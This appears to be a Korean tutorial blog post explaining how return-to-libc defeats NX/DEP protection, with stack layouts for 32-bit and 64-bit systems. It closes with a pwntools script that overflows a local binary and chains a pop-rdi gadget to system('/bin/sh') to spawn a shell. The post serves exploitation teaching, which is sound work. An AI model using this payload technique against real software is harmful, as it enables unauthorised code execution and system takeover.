[Pwn] Pwnable · 작성: 2026-07-19 19:31:03 · 조회 4
NX(No-eXecute, DEP라고도 부름)는 스택이나 힙처럼 데이터가 저장되는 영역을 실행 불가능하게 표시하는 보호 기법이다. 이게 걸리면 스택에 셸코드를 올려서 바로 실행시키는 옛날 방식이 안 통한다. Return-to-libc(ret2libc)는 이걸 우회하는 가장 기본적인 방법이다.
NX 이전에는 버퍼에 셸코드(기계어)를 직접 써넣고, 리턴 주소를 그 버퍼 주소로 덮어서 셸코드로 바로 점프시키는 게 표준적인 공격이었다. NX가 걸리면 스택 영역은 "쓰기는 되지만 실행은 안 되는" 상태가 되어서, 이 방식 자체가 원천 차단된다.
새 코드를 심는 대신, 이미 실행 가능하다고 표시된 영역에 있는 기존 코드를 재사용하면 어떨까? libc는 어차피 실행 가능한 라이브러리이고, 그 안에는 system() 같은 강력한 함수가 이미 들어있다. 리턴 주소를 system()의 주소로 덮고, 그 다음 스택에 인자로 쓸 "/bin/sh" 문자열의 주소를 준비해두면 system("/bin/sh")가 호출된 것과 같은 효과를 낸다.
[ 리턴 주소 자리 ] = system() 주소
[ system이 끝난 뒤 돌아갈 주소 ] = 아무거나 (exit 주소 등)
[ "system"의 인자 ] = "/bin/sh" 문자열 주소
x86(32비트)에서는 인자가 스택에 그대로 쌓이는 방식이라 이렇게 간단하게 되지만, x86-64에서는 함수 인자를 레지스터(RDI, RSI...)로 넘기기 때문에 리턴 주소만 덮어서는 안 되고, "RDI에 원하는 값을 넣고 ret 하는" 가젯이 하나 더 필요하다. 이게 바로 ROP의 가장 단순한 형태이고, 다음 글에서 본격적으로 다룬다.
libc 자체도 매 실행마다 다른 주소에 로드되므로, system()의 절대 주소를 미리 알 수 없다. 이 경우 먼저 libc의 실제 로드 베이스 주소를 알아내는 leak 과정이 선행되어야 한다 (다음 글 "ASLR과 정보 유출" 참고). GOT(Global Offset Table)에 이미 채워진 libc 함수 주소를 읽어내는 게 대표적인 방법이다.
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process()
offset = 72
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
pop_rdi = 0x0000000000401234 # ROPgadget으로 찾은 가젯
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
핵심은 "새 코드를 심을 수 없다면, 이미 있는 코드를 원하는 순서로 실행시킨다"는 발상이고, 이 발상을 훨씬 정교하게 확장한 게 ROP다.